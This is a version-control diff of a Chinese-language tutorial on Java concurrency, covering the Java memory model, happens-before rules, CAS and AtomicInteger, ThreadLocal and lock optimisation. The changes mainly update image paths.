+            countDownLatch.countDown();
+        });
+    }
+    countDownLatch.await();
+    executorService.shutdown();
+    System.out.println(example.get());
 }
 ```
 
@@ -1008,88 +1070,88 @@ public static void main(String[] args) throws InterruptedException {
 997
 ```
 
-# 十、Java 内存模型
+# 十、Java 内存模型
 
-Java 内存模型试图屏蔽各种硬件和操作系统的内存访问差异，以实现让 Java 程序在各种平台下都能达到一致的内存访问效果。
+Java 内存模型试图屏蔽各种硬件和操作系统的内存访问差异，以实现让 Java 程序在各种平台下都能达到一致的内存访问效果。
 
-## 主内存与工作内存
+## 主内存与工作内存
 
 处理器上的寄存器的读写的速度比内存快几个数量级，为了解决这种速度矛盾，在它们之间加入了高速缓存。
 
 加入高速缓存带来了一个新的问题：缓存一致性。如果多个缓存共享同一块主内存区域，那么多个缓存的数据可能会不一致，需要一些协议来解决这个问题。
 
-<img src="index_files/68778c1b-15ab-4826-99c0-3b4fd38cb9e9.png" width=""/>
+<div align="center"> <img src="pics/68778c1b-15ab-4826-99c0-3b4fd38cb9e9.png" width=""/> </div><br>
 
 所有的变量都存储在主内存中，每个线程还有自己的工作内存，工作内存存储在高速缓存或者寄存器中，保存了该线程使用的变量的主内存副本拷贝。
 
 线程只能直接操作工作内存中的变量，不同线程之间的变量值传递需要通过主内存来完成。
 
-<img src="index_files/47358f87-bc4c-496f-9a90-8d696de94cee.png" width=""/>
+<div align="center"> <img src="pics/47358f87-bc4c-496f-9a90-8d696de94cee.png" width=""/> </div><br>
 
-## 内存间交互操作
+## 内存间交互操作
 
-Java 内存模型定义了 8 个操作来完成主内存和工作内存的交互操作。
+Java 内存模型定义了 8 个操作来完成主内存和工作内存的交互操作。
 
-<img src="index_files/536c6dfd-305a-4b95-b12c-28ca5e8aa043.png" width=""/>
+<div align="center"> <img src="pics/536c6dfd-305a-4b95-b12c-28ca5e8aa043.png" width=""/> </div><br>
 
-- read：把一个变量的值从主内存传输到工作内存中
-- load：在 read 之后执行，把 read 得到的值放入工作内存的变量副本中
-- use：把工作内存中一个变量的值传递给执行引擎
-- assign：把一个从执行引擎接收到的值赋给工作内存的变量
-- store：把工作内存的一个变量的值传送到主内存中
-- write：在 store 之后执行，把 store 得到的值放入主内存的变量中
-- lock：作用于主内存的变量
-- unlock
+- read：把一个变量的值从主内存传输到工作内存中
+- load：在 read 之后执行，把 read 得到的值放入工作内存的变量副本中
+- use：把工作内存中一个变量的值传递给执行引擎
+- assign：把一个从执行引擎接收到的值赋给工作内存的变量
+- store：把工作内存的一个变量的值传送到主内存中
+- write：在 store 之后执行，把 store 得到的值放入主内存的变量中
+- lock：作用于主内存的变量
+- unlock
 
-## 内存模型三大特性
+## 内存模型三大特性
 
-### 1. 原子性
+### 1. 原子性
 
-Java 内存模型保证了 read、load、use、assign、store、write、lock 和 unlock 操作具有原子性，例如对一个 int 类型的变量执行 assign 赋值操作，这个操作就是原子性的。但是 Java 内存模型允许虚拟机将没有被 volatile 修饰的 64 位数据（long，double）的读写操作划分为两次 32 位的操作来进行，即 load、store、read 和 write 操作可以不具备原子性。
+Java 内存模型保证了 read、load、use、assign、store、write、lock 和 unlock 操作具有原子性，例如对一个 int 类型的变量执行 assign 赋值操作，这个操作就是原子性的。但是 Java 内存模型允许虚拟机将没有被 volatile 修饰的 64 位数据（long，double）的读写操作划分为两次 32 位的操作来进行，即 load、store、read 和 write 操作可以不具备原子性。
 
-有一个错误认识就是，int 等原子性的类型在多线程环境中不会出现线程安全问题。前面的线程不安全示例代码中，cnt 属于 int 类型变量，1000 个线程对它进行自增操作之后，得到的值为 997 而不是 1000。
+有一个错误认识就是，int 等原子性的类型在多线程环境中不会出现线程安全问题。前面的线程不安全示例代码中，cnt 属于 int 类型变量，1000 个线程对它进行自增操作之后，得到的值为 997 而不是 1000。
 
-为了方便讨论，将内存间的交互操作简化为 3 个：load、assign、store。
+为了方便讨论，将内存间的交互操作简化为 3 个：load、assign、store。
 
-下图演示了两个线程同时对 cnt 进行操作，load、assign、store 这一系列操作整体上看不具备原子性，那么在 T1 修改 cnt 并且还没有将修改后的值写入主内存，T2 依然可以读入旧值。可以看出，这两个线程虽然执行了两次自增运算，但是主内存中 cnt 的值最后为 1 而不是 2。因此对 int 类型读写操作满足原子性只是说明 load、assign、store 这些单个操作具备原子性。
+下图演示了两个线程同时对 cnt 进行操作，load、assign、store 这一系列操作整体上看不具备原子性，那么在 T1 修改 cnt 并且还没有将修改后的值写入主内存，T2 依然可以读入旧值。可以看出，这两个线程虽然执行了两次自增运算，但是主内存中 cnt 的值最后为 1 而不是 2。因此对 int 类型读写操作满足原子性只是说明 load、assign、store 这些单个操作具备原子性。
 
-<img src="index_files/ef8eab00-1d5e-4d99-a7c2-d6d68ea7fe92.png" width=""/>
+<div align="center"> <img src="pics/ef8eab00-1d5e-4d99-a7c2-d6d68ea7fe92.png" width=""/> </div><br>
 
-AtomicInteger 能保证多个线程修改的原子性。
+AtomicInteger 能保证多个线程修改的原子性。
 
-<img src="index_files/952afa9a-458b-44ce-bba9-463e60162945.png" width=""/>
+<div align="center"> <img src="pics/952afa9a-458b-44ce-bba9-463e60162945.png" width=""/> </div><br>
 
-使用 AtomicInteger 重写之前线程不安全的代码之后得到以下线程安全实现：
+使用 AtomicInteger 重写之前线程不安全的代码之后得到以下线程安全实现：
 
 ```java
-public class AtomicExample {
-    private AtomicInteger cnt = new AtomicInteger();
+public class AtomicExample {
+    private AtomicInteger cnt = new AtomicInteger();
 
-    public void add() {
-        cnt.incrementAndGet();
-    }
+    public void add() {
+        cnt.incrementAndGet();
+    }
 
-    public int get() {
-        return cnt.get();
-    }
+    public int get() {
+        return cnt.get();
+    }
 }
 ```
 
 ```java
-public static void main(String[] args) throws InterruptedException {
-    final int threadSize = 1000;
-    AtomicExample example = new AtomicExample(); // 只修改这条语句
-    final CountDownLatch countDownLatch = new CountDownLatch(threadSize);
-    ExecutorService executorService = Executors.newCachedThreadPool();
-    for (int i = 0; i < threadSize; i++) {
-        executorService.execute(() -> {
-            example.add();
-            countDownLatch.countDown();
-        });
-    }
-    countDownLatch.await();
-    executorService.shutdown();
-    System.out.println(example.get());
+public static void main(String[] args) throws InterruptedException {
+    final int threadSize = 1000;
+    AtomicExample example = new AtomicExample(); // 只修改这条语句
+    final CountDownLatch countDownLatch = new CountDownLatch(threadSize);
+    ExecutorService executorService = Executors.newCachedThreadPool();
+    for (int i = 0; i < threadSize; i++) {
+        executorService.execute(() -> {
+            example.add();
+            countDownLatch.countDown();
+        });
+    }
+    countDownLatch.await();
+    executorService.shutdown();
+    System.out.println(example.get());
 }
 ```
 
@@ -1097,37 +1159,37 @@ public static void main(String[] args) throws InterruptedException {
 1000
 ```
 
-除了使用原子类之外，也可以使用 synchronized 互斥锁来保证操作的原子性。它对应的内存间交互操作为：lock 和 unlock，在虚拟机实现上对应的字节码指令为 monitorenter 和 monitorexit。
+除了使用原子类之外，也可以使用 synchronized 互斥锁来保证操作的原子性。它对应的内存间交互操作为：lock 和 unlock，在虚拟机实现上对应的字节码指令为 monitorenter 和 monitorexit。
 
 ```java
-public class AtomicSynchronizedExample {
-    private int cnt = 0;
+public class AtomicSynchronizedExample {
+    private int cnt = 0;
 
-    public synchronized void add() {
-        cnt++;
-    }
+    public synchronized void add() {
+        cnt++;
+    }
 
-    public synchronized int get() {
-        return cnt;
-    }
+    public synchronized int get() {
+        return cnt;
+    }
 }
 ```
 
 ```java
-public static void main(String[] args) throws InterruptedException {
-    final int threadSize = 1000;
-    AtomicSynchronizedExample example = new AtomicSynchronizedExample();
-    final CountDownLatch countDownLatch = new CountDownLatch(threadSize);
-    ExecutorService executorService = Executors.newCachedThreadPool();
-    for (int i = 0; i < threadSize; i++) {
-        executorService.execute(() -> {
-            example.add();
-            countDownLatch.countDown();
-        });
-    }
-    countDownLatch.await();
-    executorService.shutdown();
-    System.out.println(example.get());
+public static void main(String[] args) throws InterruptedException {
+    final int threadSize = 1000;
+    AtomicSynchronizedExample example = new AtomicSynchronizedExample();
+    final CountDownLatch countDownLatch = new CountDownLatch(threadSize);
+    ExecutorService executorService = Executors.newCachedThreadPool();
+    for (int i = 0; i < threadSize; i++) {
+        executorService.execute(() -> {
+            example.add();
+            countDownLatch.countDown();
+        });
+    }
+    countDownLatch.await();
+    executorService.shutdown();
+    System.out.println(example.get());
 }
 ```
 
@@ -1135,217 +1197,217 @@ public static void main(String[] args) throws InterruptedException {
 1000
 ```
 
-### 2. 可见性
+### 2. 可见性
 
-可见性指当一个线程修改了共享变量的值，其它线程能够立即得知这个修改。Java 内存模型是通过在变量修改后将新值同步回主内存，在变量读取前从主内存刷新变量值来实现可见性的。
+可见性指当一个线程修改了共享变量的值，其它线程能够立即得知这个修改。Java 内存模型是通过在变量修改后将新值同步回主内存，在变量读取前从主内存刷新变量值来实现可见性的。
 
 主要有有三种实现可见性的方式：
 
-- volatile
-- synchronized，对一个变量执行 unlock 操作之前，必须把变量值同步回主内存。
-- final，被 final 关键字修饰的字段在构造器中一旦初始化完成，并且没有发生 this 逃逸（其它线程通过 this 引用访问到初始化了一半的对象），那么其它线程就能看见 final 字段的值。
+- volatile
+- synchronized，对一个变量执行 unlock 操作之前，必须把变量值同步回主内存。
+- final，被 final 关键字修饰的字段在构造器中一旦初始化完成，并且没有发生 this 逃逸（其它线程通过 this 引用访问到初始化了一半的对象），那么其它线程就能看见 final 字段的值。
 
-对前面的线程不安全示例中的 cnt 变量使用 volatile 修饰，不能解决线程不安全问题，因为 volatile 并不能保证操作的原子性。
+对前面的线程不安全示例中的 cnt 变量使用 volatile 修饰，不能解决线程不安全问题，因为 volatile 并不能保证操作的原子性。
 
-### 3. 有序性
+### 3. 有序性
 
-有序性是指：在本线程内观察，所有操作都是有序的。在一个线程观察另一个线程，所有操作都是无序的，无序是因为发生了指令重排序。在 Java 内存模型中，允许编译器和处理器对指令进行重排序，重排序过程不会影响到单线程程序的执行，却会影响到多线程并发执行的正确性。
+有序性是指：在本线程内观察，所有操作都是有序的。在一个线程观察另一个线程，所有操作都是无序的，无序是因为发生了指令重排序。在 Java 内存模型中，允许编译器和处理器对指令进行重排序，重排序过程不会影响到单线程程序的执行，却会影响到多线程并发执行的正确性。
 
-volatile 关键字通过添加内存屏障的方式来禁止指令重排，即重排序时不能把后面的指令放到内存屏障之前。
+volatile 关键字通过添加内存屏障的方式来禁止指令重排，即重排序时不能把后面的指令放到内存屏障之前。
 
-也可以通过 synchronized 来保证有序性，它保证每个时刻只有一个线程执行同步代码，相当于是让线程顺序执行同步代码。
+也可以通过 synchronized 来保证有序性，它保证每个时刻只有一个线程执行同步代码，相当于是让线程顺序执行同步代码。
 
-## 先行发生原则
+## 先行发生原则
 
-上面提到了可以用 volatile 和 synchronized 来保证有序性。除此之外，JVM 还规定了先行发生原则，让一个操作无需控制就能先于另一个操作完成。
+上面提到了可以用 volatile 和 synchronized 来保证有序性。除此之外，JVM 还规定了先行发生原则，让一个操作无需控制就能先于另一个操作完成。
 
-### 1. 单一线程原则
+### 1. 单一线程原则
 
-> Single Thread rule
+> Single Thread rule
 
 在一个线程内，在程序前面的操作先行发生于后面的操作。
 
-<img src="index_files/single-thread-rule.png" width=""/>
+<div align="center"> <img src="pics/single-thread-rule.png" width=""/> </div><br>
 
-### 2. 管程锁定规则
+### 2. 管程锁定规则
 
-> Monitor Lock Rule
+> Monitor Lock Rule
 
-一个 unlock 操作先行发生于后面对同一个锁的 lock 操作。
+一个 unlock 操作先行发生于后面对同一个锁的 lock 操作。
 
-<img src="index_files/monitor-lock-rule.png" width=""/>
+<div align="center"> <img src="pics/monitor-lock-rule.png" width=""/> </div><br>
 
-### 3. volatile 变量规则
+### 3. volatile 变量规则
 
-> Volatile Variable Rule
+> Volatile Variable Rule
 
-对一个 volatile 变量的写操作先行发生于后面对这个变量的读操作。
+对一个 volatile 变量的写操作先行发生于后面对这个变量的读操作。
 
-<img src="index_files/volatile-variable-rule.png" width=""/>
+<div align="center"> <img src="pics/volatile-variable-rule.png" width=""/> </div><br>
 
-### 4. 线程启动规则
+### 4. 线程启动规则
 
-> Thread Start Rule
+> Thread Start Rule
 
-Thread 对象的 start() 方法调用先行发生于此线程的每一个动作。
+Thread 对象的 start() 方法调用先行发生于此线程的每一个动作。
 
-<img src="index_files/thread-start-rule.png" width=""/>
+<div align="center"> <img src="pics/thread-start-rule.png" width=""/> </div><br>
 
-### 5. 线程加入规则
+### 5. 线程加入规则
 
-> Thread Join Rule
+> Thread Join Rule
 
-Thread 对象的结束先行发生于 join() 方法返回。
+Thread 对象的结束先行发生于 join() 方法返回。
 
-<img src="index_files/thread-join-rule.png" width=""/>
+<div align="center"> <img src="pics/thread-join-rule.png" width=""/> </div><br>
 
-### 6. 线程中断规则
+### 6. 线程中断规则
 
-> Thread Interruption Rule
+> Thread Interruption Rule
 
-对线程 interrupt() 方法的调用先行发生于被中断线程的代码检测到中断事件的发生，可以通过 interrupted() 方法检测到是否有中断发生。
+对线程 interrupt() 方法的调用先行发生于被中断线程的代码检测到中断事件的发生，可以通过 interrupted() 方法检测到是否有中断发生。
 
-### 7. 对象终结规则
+### 7. 对象终结规则
 
-> Finalizer Rule
+> Finalizer Rule
 
-一个对象的初始化完成（构造函数执行结束）先行发生于它的 finalize() 方法的开始。
+一个对象的初始化完成（构造函数执行结束）先行发生于它的 finalize() 方法的开始。
 
-### 8. 传递性
+### 8. 传递性
 
-> Transitivity
+> Transitivity
 
-如果操作 A 先行发生于操作 B，操作 B 先行发生于操作 C，那么操作 A 先行发生于操作 C。
+如果操作 A 先行发生于操作 B，操作 B 先行发生于操作 C，那么操作 A 先行发生于操作 C。
 
-# 十一、线程安全
+# 十一、线程安全
 
 多个线程不管以何种方式访问某个类，并且在主调代码中不需要进行同步，都能表现正确的行为。
 
 线程安全有以下几种实现方式：
 
-## 不可变
+## 不可变
 
 不可变（Immutable）的对象一定是线程安全的，不需要再采取任何的线程安全保障措施。只要一个不可变的对象被正确地构建出来，永远也不会看到它在多个线程之中处于不一致的状态。多线程环境下，应当尽量使对象成为不可变，来满足线程安全。
 
 不可变的类型：
 
-- final 关键字修饰的基本数据类型
-- String
-- 枚举类型
-- Number 部分子类，如 Long 和 Double 等数值包装类型，BigInteger 和 BigDecimal 等大数据类型。但同为 Number 的原子类 AtomicInteger 和 AtomicLong 则是可变的。
+- final 关键字修饰的基本数据类型
+- String
+- 枚举类型
+- Number 部分子类，如 Long 和 Double 等数值包装类型，BigInteger 和 BigDecimal 等大数据类型。但同为 Number 的原子类 AtomicInteger 和 AtomicLong 则是可变的。
 
-对于集合类型，可以使用 Collections.unmodifiableXXX() 方法来获取一个不可变的集合。
+对于集合类型，可以使用 Collections.unmodifiableXXX() 方法来获取一个不可变的集合。
 
 ```java
-public class ImmutableExample {
-    public static void main(String[] args) {
-        Map<String, Integer> map = new HashMap<>();
-        Map<String, Integer> unmodifiableMap = Collections.unmodifiableMap(map);
-        unmodifiableMap.put("a", 1);
-    }
+public class ImmutableExample {
+    public static void main(String[] args) {
+        Map<String, Integer> map = new HashMap<>();
+        Map<String, Integer> unmodifiableMap = Collections.unmodifiableMap(map);
+        unmodifiableMap.put("a", 1);
+    }
 }
 ```
 
 ```html
-Exception in thread "main" java.lang.UnsupportedOperationException
-    at java.util.Collections$UnmodifiableMap.put(Collections.java:1457)
-    at ImmutableExample.main(ImmutableExample.java:9)
+Exception in thread "main" java.lang.UnsupportedOperationException
+    at java.util.Collections$UnmodifiableMap.put(Collections.java:1457)
+    at ImmutableExample.main(ImmutableExample.java:9)
 ```
 
-Collections.unmodifiableXXX() 先对原始的集合进行拷贝，需要对集合进行修改的方法都直接抛出异常。
+Collections.unmodifiableXXX() 先对原始的集合进行拷贝，需要对集合进行修改的方法都直接抛出异常。
 
 ```java
-public V put(K key, V value) {
-    throw new UnsupportedOperationException();
+public V put(K key, V value) {
+    throw new UnsupportedOperationException();
 }
 ```
 
-## 互斥同步
+## 互斥同步
 
-synchronized 和 ReentrantLock。
+synchronized 和 ReentrantLock。
 
-## 非阻塞同步
+## 非阻塞同步
 
 互斥同步最主要的问题就是线程阻塞和唤醒所带来的性能问题，因此这种同步也称为阻塞同步。
 
 互斥同步属于一种悲观的并发策略，总是认为只要不去做正确的同步措施，那就肯定会出现问题。无论共享数据是否真的会出现竞争，它都要进行加锁（这里讨论的是概念模型，实际上虚拟机会优化掉很大一部分不必要的加锁）、用户态核心态转换、维护锁计数器和检查是否有被阻塞的线程需要唤醒等操作。
 
-### 1. CAS
+### 1. CAS
 
 随着硬件指令集的发展，我们可以使用基于冲突检测的乐观并发策略：先进行操作，如果没有其它线程争用共享数据，那操作就成功了，否则采取补偿措施（不断地重试，直到成功为止）。这种乐观的并发策略的许多实现都不需要将线程阻塞，因此这种同步操作称为非阻塞同步。
 
-乐观锁需要操作和冲突检测这两个步骤具备原子性，这里就不能再使用互斥同步来保证了，只能靠硬件来完成。硬件支持的原子性操作最典型的是：比较并交换（Compare-and-Swap，CAS）。CAS 指令需要有 3 个操作数，分别是内存地址 V、旧的预期值 A 和新值 B。当执行操作时，只有当 V 的值等于 A，才将 V 的值更新为 B。
+乐观锁需要操作和冲突检测这两个步骤具备原子性，这里就不能再使用互斥同步来保证了，只能靠硬件来完成。硬件支持的原子性操作最典型的是：比较并交换（Compare-and-Swap，CAS）。CAS 指令需要有 3 个操作数，分别是内存地址 V、旧的预期值 A 和新值 B。当执行操作时，只有当 V 的值等于 A，才将 V 的值更新为 B。
 
-### 2. AtomicInteger
+### 2. AtomicInteger
 
-J.U.C 包里面的整数原子类 AtomicInteger 的方法调用了 Unsafe 类的 CAS 操作。
+J.U.C 包里面的整数原子类 AtomicInteger 的方法调用了 Unsafe 类的 CAS 操作。
 
-以下代码使用了 AtomicInteger 执行了自增的操作。
+以下代码使用了 AtomicInteger 执行了自增的操作。
 
 ```java
-private AtomicInteger cnt = new AtomicInteger();
+private AtomicInteger cnt = new AtomicInteger();
 
-public void add() {
-    cnt.incrementAndGet();
+public void add() {
+    cnt.incrementAndGet();
 }
 ```
 
-以下代码是 incrementAndGet() 的源码，它调用了 Unsafe 的 getAndAddInt() 。
+以下代码是 incrementAndGet() 的源码，它调用了 Unsafe 的 getAndAddInt() 。
 
 ```java
-public final int incrementAndGet() {
-    return unsafe.getAndAddInt(this, valueOffset, 1) + 1;
+public final int incrementAndGet() {
+    return unsafe.getAndAddInt(this, valueOffset, 1) + 1;
 }
 ```
 
-以下代码是 getAndAddInt() 源码，var1 指示对象内存地址，var2 指示该字段相对对象内存地址的偏移，var4 指示操作需要加的数值，这里为 1。通过 getIntVolatile(var1, var2) 得到旧的预期值，通过调用 compareAndSwapInt() 来进行 CAS 比较，如果该字段内存地址中的值等于 var5，那么就更新内存地址为 var1+var2 的变量为 var5+var4。
+以下代码是 getAndAddInt() 源码，var1 指示对象内存地址，var2 指示该字段相对对象内存地址的偏移，var4 指示操作需要加的数值，这里为 1。通过 getIntVolatile(var1, var2) 得到旧的预期值，通过调用 compareAndSwapInt() 来进行 CAS 比较，如果该字段内存地址中的值等于 var5，那么就更新内存地址为 var1+var2 的变量为 var5+var4。
 
-可以看到 getAndAddInt() 在一个循环中进行，发生冲突的做法是不断的进行重试。
+可以看到 getAndAddInt() 在一个循环中进行，发生冲突的做法是不断的进行重试。
 
 ```java
-public final int getAndAddInt(Object var1, long var2, int var4) {
-    int var5;
-    do {
-        var5 = this.getIntVolatile(var1, var2);
-    } while(!this.compareAndSwapInt(var1, var2, var5, var5 + var4));
+public final int getAndAddInt(Object var1, long var2, int var4) {
+    int var5;
+    do {
+        var5 = this.getIntVolatile(var1, var2);
+    } while(!this.compareAndSwapInt(var1, var2, var5, var5 + var4));
 
-    return var5;
+    return var5;
 }
 ```
 
-### 3. ABA
+### 3. ABA
 
-如果一个变量初次读取的时候是 A 值，它的值被改成了 B，后来又被改回为 A，那 CAS 操作就会误认为它从来没有被改变过。
+如果一个变量初次读取的时候是 A 值，它的值被改成了 B，后来又被改回为 A，那 CAS 操作就会误认为它从来没有被改变过。
 
-J.U.C 包提供了一个带有标记的原子引用类 AtomicStampedReference 来解决这个问题，它可以通过控制变量值的版本来保证 CAS 的正确性。大部分情况下 ABA 问题不会影响程序并发的正确性，如果需要解决 ABA 问题，改用传统的互斥同步可能会比原子类更高效。
+J.U.C 包提供了一个带有标记的原子引用类 AtomicStampedReference 来解决这个问题，它可以通过控制变量值的版本来保证 CAS 的正确性。大部分情况下 ABA 问题不会影响程序并发的正确性，如果需要解决 ABA 问题，改用传统的互斥同步可能会比原子类更高效。
 
-## 无同步方案
+## 无同步方案
 
 要保证线程安全，并不是一定就要进行同步。如果一个方法本来就不涉及共享数据，那它自然就无须任何同步措施去保证正确性。
 
-### 1. 栈封闭
+### 1. 栈封闭
 
 多个线程访问同一个方法的局部变量时，不会出现线程安全问题，因为局部变量存储在虚拟机栈中，属于线程私有的。
 
 ```java
-public class StackClosedExample {
-    public void add100() {
-        int cnt = 0;
-        for (int i = 0; i < 100; i++) {
-            cnt++;
-        }
-        System.out.println(cnt);
-    }
+public class StackClosedExample {
+    public void add100() {
+        int cnt = 0;
+        for (int i = 0; i < 100; i++) {
+            cnt++;
+        }
+        System.out.println(cnt);
+    }
 }
 ```
 
 ```java
-public static void main(String[] args) {
-    StackClosedExample example = new StackClosedExample();
-    ExecutorService executorService = Executors.newCachedThreadPool();
-    executorService.execute(() -> example.add100());
-    executorService.execute(() -> example.add100());
-    executorService.shutdown();
+public static void main(String[] args) {
+    StackClosedExample example = new StackClosedExample();
+    ExecutorService executorService = Executors.newCachedThreadPool();
+    executorService.execute(() -> example.add100());
+    executorService.execute(() -> example.add100());
+    executorService.shutdown();
 }
 ```
 
@@ -1354,37 +1416,37 @@ public static void main(String[] args) {
 100
 ```
 
-### 2. 线程本地存储（Thread Local Storage）
+### 2. 线程本地存储（Thread Local Storage）
 
 如果一段代码中所需要的数据必须与其他代码共享，那就看看这些共享数据的代码是否能保证在同一个线程中执行。如果能保证，我们就可以把共享数据的可见范围限制在同一个线程之内，这样，无须同步也能保证线程之间不出现数据争用的问题。
 
-符合这种特点的应用并不少见，大部分使用消费队列的架构模式（如“生产者-消费者”模式）都会将产品的消费过程尽量在一个线程中消费完。其中最重要的一个应用实例就是经典 Web 交互模型中的“一个请求对应一个服务器线程”（Thread-per-Request）的处理方式，这种处理方式的广泛应用使得很多 Web 服务端应用都可以使用线程本地存储来解决线程安全问题。
+符合这种特点的应用并不少见，大部分使用消费队列的架构模式（如“生产者-消费者”模式）都会将产品的消费过程尽量在一个线程中消费完。其中最重要的一个应用实例就是经典 Web 交互模型中的“一个请求对应一个服务器线程”（Thread-per-Request）的处理方式，这种处理方式的广泛应用使得很多 Web 服务端应用都可以使用线程本地存储来解决线程安全问题。
 
-可以使用 java.lang.ThreadLocal 类来实现线程本地存储功能。
+可以使用 java.lang.ThreadLocal 类来实现线程本地存储功能。
 
-对于以下代码，thread1 中设置 threadLocal 为 1，而 thread2 设置 threadLocal 为 2。过了一段时间之后，thread1 读取 threadLocal 依然是 1，不受 thread2 的影响。
+对于以下代码，thread1 中设置 threadLocal 为 1，而 thread2 设置 threadLocal 为 2。过了一段时间之后，thread1 读取 threadLocal 依然是 1，不受 thread2 的影响。
 
 ```java
-public class ThreadLocalExample {
-    public static void main(String[] args) {
-        ThreadLocal threadLocal = new ThreadLocal();
-        Thread thread1 = new Thread(() -> {
-            threadLocal.set(1);
-            try {
-                Thread.sleep(1000);
-            } catch (InterruptedException e) {
-                e.printStackTrace();
-            }
-            System.out.println(threadLocal.get());
-            threadLocal.remove();
-        });
-        Thread thread2 = new Thread(() -> {
-            threadLocal.set(2);
-            threadLocal.remove();
-        });
-        thread1.start();
-        thread2.start();
-    }
+public class ThreadLocalExample {
+    public static void main(String[] args) {
+        ThreadLocal threadLocal = new ThreadLocal();
+        Thread thread1 = new Thread(() -> {
+            threadLocal.set(1);
+            try {
+                Thread.sleep(1000);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+            System.out.println(threadLocal.get());
+            threadLocal.remove();
+        });
+        Thread thread2 = new Thread(() -> {
+            threadLocal.set(2);
+            threadLocal.remove();
+        });
+        thread1.start();
+        thread2.start();
+    }
 }
 ```
 
@@ -1392,93 +1454,93 @@ public class ThreadLocalExample {
 1
 ```
 
-为了理解 ThreadLocal，先看以下代码：
+为了理解 ThreadLocal，先看以下代码：
 
 ```java
-public class ThreadLocalExample1 {
-    public static void main(String[] args) {
-        ThreadLocal threadLocal1 = new ThreadLocal();
-        ThreadLocal threadLocal2 = new ThreadLocal();
-        Thread thread1 = new Thread(() -> {
-            threadLocal1.set(1);
-            threadLocal2.set(1);
-        });
-        Thread thread2 = new Thread(() -> {
-            threadLocal1.set(2);
-            threadLocal2.set(2);
-        });
-        thread1.start();
-        thread2.start();
-    }
+public class ThreadLocalExample1 {
+    public static void main(String[] args) {
+        ThreadLocal threadLocal1 = new ThreadLocal();
+        ThreadLocal threadLocal2 = new ThreadLocal();
+        Thread thread1 = new Thread(() -> {
+            threadLocal1.set(1);
+            threadLocal2.set(1);
+        });
+        Thread thread2 = new Thread(() -> {
+            threadLocal1.set(2);
+            threadLocal2.set(2);
+        });
+        thread1.start();
+        thread2.start();
+    }
 }
 ```
 
 它所对应的底层结构图为：
 
-<img src="index_files/3646544a-cb57-451d-9e03-d3c4f5e4434a.png" width=""/>
+<div align="center"> <img src="pics/3646544a-cb57-451d-9e03-d3c4f5e4434a.png" width=""/> </div><br>
 
-每个 Thread 都有一个 ThreadLocal.ThreadLocalMap 对象。
+每个 Thread 都有一个 ThreadLocal.ThreadLocalMap 对象。
 
 ```java
-/* ThreadLocal values pertaining to this thread. This map is maintained
- * by the ThreadLocal class. */
-ThreadLocal.ThreadLocalMap threadLocals = null;
+/* ThreadLocal values pertaining to this thread. This map is maintained
+ * by the ThreadLocal class. */
+ThreadLocal.ThreadLocalMap threadLocals = null;
 ```
 
-当调用一个 ThreadLocal 的 set(T value) 方法时，先得到当前线程的 ThreadLocalMap 对象，然后将 ThreadLocal->value 键值对插入到该 Map 中。
+当调用一个 ThreadLocal 的 set(T value) 方法时，先得到当前线程的 ThreadLocalMap 对象，然后将 ThreadLocal->value 键值对插入到该 Map 中。
 
 ```java
-public void set(T value) {
-    Thread t = Thread.currentThread();
-    ThreadLocalMap map = getMap(t);
-    if (map != null)
-        map.set(this, value);
-    else
-        createMap(t, value);
+public void set(T value) {
+    Thread t = Thread.currentThread();
+    ThreadLocalMap map = getMap(t);
+    if (map != null)
+        map.set(this, value);
+    else
+        createMap(t, value);
 }
 ```
 
-get() 方法类似。
+get() 方法类似。
 
 ```java
-public T get() {
-    Thread t = Thread.currentThread();
-    ThreadLocalMap map = getMap(t);
-    if (map != null) {
-        ThreadLocalMap.Entry e = map.getEntry(this);
-        if (e != null) {
-            @SuppressWarnings("unchecked")
-            T result = (T)e.value;
-            return result;
-        }
-    }
-    return setInitialValue();
+public T get() {
+    Thread t = Thread.currentThread();
+    ThreadLocalMap map = getMap(t);
+    if (map != null) {
+        ThreadLocalMap.Entry e = map.getEntry(this);
+        if (e != null) {
+            @SuppressWarnings("unchecked")
+            T result = (T)e.value;
+            return result;
+        }
+    }
+    return setInitialValue();
 }
 ```
 
-ThreadLocal 从理论上讲并不是用来解决多线程并发问题的，因为根本不存在多线程竞争。
+ThreadLocal 从理论上讲并不是用来解决多线程并发问题的，因为根本不存在多线程竞争。
 
-在一些场景 (尤其是使用线程池) 下，由于 ThreadLocal.ThreadLocalMap 的底层数据结构导致 ThreadLocal 有内存泄漏的情况，应该尽可能在每次使用 ThreadLocal 后手动调用 remove()，以避免出现 ThreadLocal 经典的内存泄漏甚至是造成自身业务混乱的风险。
+在一些场景 (尤其是使用线程池) 下，由于 ThreadLocal.ThreadLocalMap 的底层数据结构导致 ThreadLocal 有内存泄漏的情况，应该尽可能在每次使用 ThreadLocal 后手动调用 remove()，以避免出现 ThreadLocal 经典的内存泄漏甚至是造成自身业务混乱的风险。
 
-### 3. 可重入代码（Reentrant Code）
+### 3. 可重入代码（Reentrant Code）
 
-这种代码也叫做纯代码（Pure Code），可以在代码执行的任何时刻中断它，转而去执行另外一段代码（包括递归调用它本身），而在控制权返回后，原来的程序不会出现任何错误。
+这种代码也叫做纯代码（Pure Code），可以在代码执行的任何时刻中断它，转而去执行另外一段代码（包括递归调用它本身），而在控制权返回后，原来的程序不会出现任何错误。
 
 可重入代码有一些共同的特征，例如不依赖存储在堆上的数据和公用的系统资源、用到的状态量都由参数中传入、不调用非可重入的方法等。
 
-# 十二、锁优化
+# 十二、锁优化
 
-这里的锁优化主要是指 JVM 对 synchronized 的优化。
+这里的锁优化主要是指 JVM 对 synchronized 的优化。
 
-## 自旋锁
+## 自旋锁
 
 互斥同步进入阻塞状态的开销都很大，应该尽量避免。在许多应用中，共享数据的锁定状态只会持续很短的一段时间。自旋锁的思想是让一个线程在请求一个共享数据的锁时执行忙循环（自旋）一段时间，如果在这段时间内能获得锁，就可以避免进入阻塞状态。
 
-自旋锁虽然能避免进入阻塞状态从而减少开销，但是它需要进行忙循环操作占用 CPU 时间，它只适用于共享数据的锁定状态很短的场景。
+自旋锁虽然能避免进入阻塞状态从而减少开销，但是它需要进行忙循环操作占用 CPU 时间，它只适用于共享数据的锁定状态很短的场景。
 
-在 JDK 1.6 中引入了自适应的自旋锁。自适应意味着自旋的次数不再固定了，而是由前一次在同一个锁上的自旋次数及锁的拥有者的状态来决定。
+在 JDK 1.6 中引入了自适应的自旋锁。自适应意味着自旋的次数不再固定了，而是由前一次在同一个锁上的自旋次数及锁的拥有者的状态来决定。
 
-## 锁消除
+## 锁消除
 
 锁消除是指对于被检测出不可能存在竞争的共享数据的锁进行消除。
 
